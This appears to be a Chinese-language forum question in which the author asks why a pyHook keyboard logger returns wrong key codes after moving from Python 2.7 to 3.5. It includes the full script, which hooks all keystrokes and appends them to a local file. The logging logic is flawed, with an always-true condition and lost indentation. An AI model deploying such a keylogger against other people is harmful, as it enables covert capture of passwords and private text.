我正在尝试使用 pyhook 编写键盘记录器。下面是一段代码。我最近从py2.7改为py3.5。代码在迁移之前运行良好。
迁移后我收到错误。每次我在键盘上按说“a”时,我都会得到 event.Ascii 为 1(a = 1, b=2 和类似) 而不是 97 (这是预期值)。如果我插入断点并尝试调试模式,那么它会按预期工作。
我在 Win7-64 位操作系统上运行并为 python 使用 anaconda 分发包。
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep
# ################################################################################
filename = r"E:\myfile.txt"
if os.path.isfile(filename):
f = open(filename, 'a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open(filename, 'w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
try:
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or event.Ascii != 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13 or event.Ascii == 9:
keylogs = keylogs + '\n'
else:
pass
# write to a file
f = open(filename, 'a')
f.write(keylogs)
f.close()
except UnboundLocalError:
pass
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()